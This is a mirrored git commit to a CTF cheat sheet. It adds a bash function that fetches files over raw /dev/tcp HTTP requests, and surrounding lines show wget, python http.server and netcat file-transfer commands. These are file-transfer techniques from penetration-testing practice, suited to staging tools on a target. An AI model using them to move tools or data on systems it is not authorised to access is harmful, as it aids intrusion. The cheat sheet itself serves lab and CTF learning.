mirror of
https://github.com/AbdullahRizwan101/CTF-Writeups
synced 2024-11-21 19:43:03 +00:00
Update Cheat Sheet.md
This commit is contained in:
parent
71bd21644c
commit
1188f6b239
1 changed files with 31 additions and 0 deletions
|
@ -126,6 +126,37 @@ python3 -m http.server [port] `By default will listen on 8000`<br/>
|
|||
|
||||
`wget http://<ip>:port/<file>`
|
||||
|
||||
### Download files only with bash script
|
||||
|
||||
```
|
||||
#!/bin/bash
|
||||
download() {
|
||||
read proto server path <<< "${1//"/"/ }"
|
||||
DOC=/${path// //}
|
||||
HOST=${server//:*}
|
||||
PORT=${server//*:}
|
||||
[[ x"${HOST}" == x"${PORT}" ]] && PORT=80
|
||||
|
||||
exec 3<>/dev/tcp/${HOST}/$PORT
|
||||
|
||||
# send request
|
||||
echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
|
||||
|
||||
# read the header, it ends in a empty line (just CRLF)
|
||||
while IFS= read -r line ; do
|
||||
[[ "$line" == $'\r' ]] && break
|
||||
done <&3
|
||||
|
||||
# read the data
|
||||
nul='\0'
|
||||
while IFS= read -d '' -r x || { nul=""; [ -n "$x" ]; }; do
|
||||
printf "%s$nul" "$x"
|
||||
done <&3
|
||||
exec 3>&-
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
### Netcat to download files from target
|
||||
|
||||
`nc -l -p [port] > file` Receive file <br/>
|
||||
|
|
Loading…
Reference in a new issue